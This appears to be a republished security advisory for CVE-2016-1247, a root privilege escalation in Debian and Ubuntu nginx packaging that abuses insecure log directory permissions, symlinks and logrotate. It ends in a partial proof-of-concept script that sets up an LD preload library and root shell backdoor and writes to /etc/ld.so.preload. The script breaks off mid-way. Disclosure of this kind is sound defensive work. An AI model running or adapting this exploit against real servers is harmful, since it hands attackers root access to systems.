Nginx (Debian-Based Distros) Root Privilege Escalation
Posted on 17 November 2016
__ __ __ __ __ / / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________ / / / _ / __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ / ___/ ___/ / /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ ) /_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/ /____/ ============================================= - Discovered by: Dawid Golunski - dawid[at]legalhackers.com - https://legalhackers.com - CVE-2016-1247 - Release date: 15.11.2016 - Revision 1.0 - Severity: High ============================================= I. VULNERABILITY ------------------------- Nginx (Debian-based distros) - Root Privilege Escalation Fixed in 1.6.2-5+deb8u3 package on Debian, and 1.10.0-0ubuntu0.16.04.3 on Ubuntu 16.04 LTS II. BACKGROUND ------------------------- "nginx [engine x] is an HTTP and reverse proxy server, a mail proxy server, and a generic TCP/UDP proxy server, originally written by Igor Sysoev. For a long time, it has been running on many heavily loaded Russian sites including Yandex, Mail.Ru, VK, and Rambler. According to Netcraft, nginx served or proxied 27.80% busiest sites in October 2016. Here are some of the success stories: Netflix, Wordpress.com, FastMail.FM." https://nginx.org/en/ III. INTRODUCTION ------------------------- Nginx web server packaging on Debian-based distributions such as Debian or Ubuntu was found to create log directories with insecure permissions which can be exploited by malicious local attackers to escalate their privileges from nginx/web user (www-data) to root. The vulnerability could be easily exploited by attackers who have managed to compromise a web application hosted on Nginx server and gained access to www-data account as it would allow them to escalate their privileges further to root access and fully compromise the system. IV. DESCRIPTION ------------------------- Nginx installed from default repositories on Debian-based systems (Debian, Ubuntu etc.) create nginx log directory at the following location and with the following permissions: root@xenial:~# ls -ld /var/log/nginx/ drwxr-x--- 2 www-data adm 4096 Nov 12 22:32 /var/log/nginx/ root@xenial:~# ls -ld /var/log/nginx/* -rw-r----- 1 www-data adm 0 Nov 12 22:31 /var/log/nginx/access.log -rw-r--r-- 1 root root 0 Nov 12 22:47 /var/log/nginx/error.log As the /var/log/nginx directory is owned by www-data, it is possible for local attackers who have gained access to the system through a vulnerability in a web application running on Nginx (or the server itself) to replace the log files with a symlink to an arbitrary file. Upon nginx startup/restart the logs would be written to the file pointed to by the symlink. This allows attackers to escalate privileges to root. Attackers who have managed to replace the log file with a symlink would have to wait for nginx daemon to re-open the log files. For this to happen nginx service needs to be restarted, or the daemon needs to receive a USR1 process signal. However, the USR1 is sent automatically on default installations of Debian-based systems through logrotate script which calls do_rotate() function as can be seen in the files quoted below: --------[ /etc/logrotate.d/nginx ]-------- /var/log/nginx/*.log { daily missingok rotate 52 compress delaycompress notifempty create 0640 www-data adm sharedscripts prerotate if [ -d /etc/logrotate.d/httpd-prerotate ]; then run-parts /etc/logrotate.d/httpd-prerotate; fi endscript postrotate invoke-rc.d nginx rotate >/dev/null 2>&1 endscript } ------------------------------------------ ----------[ /etc/init.d/nginx ]----------- [...] do_rotate() { start-stop-daemon --stop --signal USR1 --quiet --pidfile $PID --name $NAME return 0 } [...] ----------------------------------------- The logrotation script is called daily by cron.daily on default Ubuntu/Debian installations at 6:25am every day. If /etc/logrotate.d/nginx has been set to rotate logs 'daily' then attacker could gain root privileges within 24h upon the next log rotation without any system admin interaction. V. PROOF OF CONCEPT EXPLOIT ------------------------- ------------[ nginxed-root.sh ]-------------- #!/bin/bash # # Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit # nginxed-root.sh (ver. 1.0) # # CVE-2016-1247 # # Discovered and coded by: # # Dawid Golunski # dawid[at]legalhackers.com # # https://legalhackers.com # # Follow https://twitter.com/dawid_golunski for updates on this advisory. # # --- # This PoC exploit allows local attackers on Debian-based systems (Debian, Ubuntu # etc.) to escalate their privileges from nginx web server user (www-data) to root # through unsafe error log handling. # # The exploit waits for Nginx server to be restarted or receive a USR1 signal. # On Debian-based systems the USR1 signal is sent by logrotate (/etc/logrotate.d/nginx) # script which is called daily by the cron.daily on default installations. # The restart should take place at 6:25am which is when cron.daily executes. # Attackers can therefore get a root shell automatically in 24h at most without any admin # interaction just by letting the exploit run till 6:25am assuming that daily logrotation # has been configured. # # # Exploit usage: # ./nginxed-root.sh path_to_nginx_error.log # # To trigger logrotation for testing the exploit, you can run the following command: # # /usr/sbin/logrotate -vf /etc/logrotate.d/nginx # # See the full advisory for details at: # https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html # # Video PoC: # https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html # # # Disclaimer: # For testing purposes only. Do no harm. # BACKDOORSH="/bin/bash" BACKDOORPATH="/tmp/nginxrootsh" PRIVESCLIB="/tmp/privesclib.so" PRIVESCSRC="/tmp/privesclib.c" SUIDBIN="/usr/bin/sudo" function cleanexit { # Cleanup echo -e " [+] Cleaning up..." rm -f $PRIVESCSRC rm -f $PRIVESCLIB rm -f $ERRORLOG touch $ERRORLOG if [ -f /etc/ld.so.preload ]; then echo -n > /etc/ld.so.preload fi echo -e " [+] Job done. Exiting with code $1 " exit $1 } function ctrl_c() { echo -e " [+] Ctrl+C pressed" cleanexit 0 } #intro cat <<_eascii_ _______________________________ < Is your server (N)jinxed ? ;o > ------------------------------- __---__ _- /--______ __--( / )XXXXXXXXXXXv. .-XXX( O O )XXXXXXXXXXXXXXX- /XXX( U ) XXXXXXX /XXXXX( )--_ XXXXXXXXXXX /XXXXX/ ( O ) XXXXXX XXXXX XXXXX/ / XXXXXX \__ XXXXX XXXXXX__/ XXXXXX \__----> ---___ XXX__/ XXXXXX \__ / - --__/ ___/ XXXXXX / ___--/= - ___/ XXXXXX '--- XXXXXX -/XXX XXXXXX /XXXXX XXXXXXXXX /XXXXX/ XXXXXX > _/XXXXX/ XXXXX--__/ __-- XXXX/ -XXXXXXXX--------------- XXXXXX- XXXXXXXXXXXXXXXXXXXXXXXXXX/ ""VXXXXXXXXXXXXXXXXXXV"" _eascii_ echo -e "